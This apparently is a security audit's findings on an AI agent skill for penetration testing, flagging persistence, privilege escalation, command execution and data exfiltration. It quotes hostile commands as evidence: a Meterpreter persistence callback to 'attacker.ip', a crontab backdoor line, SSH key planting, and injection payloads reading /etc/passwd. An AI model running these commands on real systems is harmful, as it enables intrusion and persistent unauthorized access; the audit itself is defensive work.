Full Analysis
  • [PERSISTENCE]: The skill provides explicit instructions for maintaining unauthorized access to a system across sessions.
  • Evidence includes instructions for Meterpreter persistence: run persistence -X -i 30 -p 4444 -r attacker.ip.
  • Detailed instructions for SSH key persistence by adding keys to ~/.ssh/authorized_keys.
  • Instructions for creating malicious cron jobs to execute backdoors: echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab.
  • [PRIVILEGE_ESCALATION]: The skill details multiple methods to elevate user permissions on both Linux and Windows environments.
  • Recommends the use of automated enumeration scripts such as linpeas.sh, winpeas.exe, and linux-exploit-suggester.sh.
  • Instructs on checking sudo -l permissions and searching for SUID binaries using find / -perm -4000 to find configuration weaknesses.
  • [COMMAND_EXECUTION]: The skill documents the use of powerful exploitation frameworks and tools capable of executing arbitrary code on target systems.
  • Provides workflow examples for the Metasploit Framework (msfconsole) and EternalBlue exploitation.
  • Includes commands for brute-forcing services via Hydra and performing SQL injection via SQLMap.
  • Provides examples for manual command injection testing, such as using ; ls -la and | cat /etc/passwd.
  • [DATA_EXFILTRATION]: The skill facilitates the discovery and harvesting of sensitive system data.
  • Documents "Google Hacking" (OSINT) techniques to find configuration files (.env, .config) and password files.
  • Provides instructions for reading sensitive system files like /etc/passwd via command injection payloads.
  • Instructs on dumping entire databases using SQLMap commands like sqlmap ... --dbs.
